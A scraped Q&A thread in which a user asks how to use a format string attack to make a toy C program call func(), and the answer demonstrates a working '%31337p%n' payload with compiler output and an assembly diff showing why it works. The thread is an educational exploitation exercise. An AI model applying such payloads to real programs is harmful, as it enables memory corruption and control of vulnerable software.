Format string attack in printf

2019-02-18 14:35发布

问题:

#include <stdio.h>
int main()
{
    char s[200]
    int a=123;
    int b=&a;
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}

The aim is to execute a format string attack - to execute func() by inputting a string. I tried to use %n to overwrite the variable but I came to conclusion is that it is impossible without displaying b variable first and I have no idea how. Any hint would be appreciated. Sorry for my bad english.

回答1:

Let's try with and without printing:

$ cat > f.c << \EOF
#include <stdio.h>
void func() {
    fprintf(stderr, "func\n");
}

int main()
{
    char s[200];
    int a=123;
    int b=&a;
    #ifdef FIXER
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
    #endif
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}
EOF

$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686

$ gcc -S  f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER  f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work


$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func

$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault

As stated in the question, we clearly see that without printing b first it fails.

Let's compare what is hapenning inside:

$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s   2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
    .size   func, .-func
    .section    .rodata
 .LC1:
-   .string "%p\n"
-.LC2:
    .string "%50s"
    .text
    .globl  main
@@ -48,15 +46,9 @@
    movl    $123, 16(%esp)
    leal    16(%esp), %eax
    movl    %eax, 220(%esp)
-   movl    stderr, %eax
-   movl    220(%esp), %edx    /* !!! */
-   movl    %edx, 8(%esp)      /* !!! */
-   movl    $.LC1, 4(%esp)
-   movl    %eax, (%esp)
-   call    fprintf
    leal    20(%esp), %eax
    movl    %eax, 4(%esp)
-   movl    $.LC2, (%esp)
+   movl    $.LC1, (%esp)
    call    __isoc99_scanf
    leal    20(%esp), %eax
    movl    %eax, (%esp)

On marked lines we see "get value of b into %edx, then put it as 3'rd argument in stack."

As printf and scanf use cdecl call convention, the stack remains more or less the same across invocations, so that third argument remains available for the vulnerable printf for setting.

When we don't print b, it does not get into stack to be easily available for our injected format string.

With enough %p%p%p%p%p%p... we should be able to reach our actual a or b anyway, but the limitation of 50 input characters is getting in our way.